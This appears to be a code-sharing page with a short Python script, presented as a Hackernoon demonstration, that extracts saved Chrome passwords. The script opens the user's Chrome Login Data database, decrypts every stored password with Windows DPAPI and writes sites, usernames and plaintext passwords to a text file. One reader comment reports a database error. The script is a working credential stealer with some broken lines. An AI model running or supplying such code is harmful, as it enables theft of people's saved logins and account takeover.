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Extracting Chrome Passwords with Python | Demonstration for hackernoon.com/@HanYoon
# os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency.
import os, sqlite3, win32crypt
# Automatically get the logged in user's default folder
data = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
# Connect to Login Data database
connection = sqlite3.connect(data)
cursor = connection.cursor()
# Query the values of interest to us
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
final_data = cursor.fetchall()
cursor.close()
print("Found {} passwords...").format(str(len(final_data)))
write_file=open("chrome.txt","w")
write_file.write("User login data extracted: \n\n")
# Iterating through all the values found...
for chrome_logins in final_data:
password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1]
site = "Website: " + str(chrome_logins[0])
username = "Username: " + str(chrome_logins[1])
password = "Password: " +str(password)
write_file.write(site+"\n"+username+"\n"+password)
write_file.write("\n"+"======"*10+"\n")
print("Saved to chrome.txt")
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commented Jun 17, 2019

Hi,
I'm getting this error.

Unable to open database file. Can you provide any solution?

Thanks.

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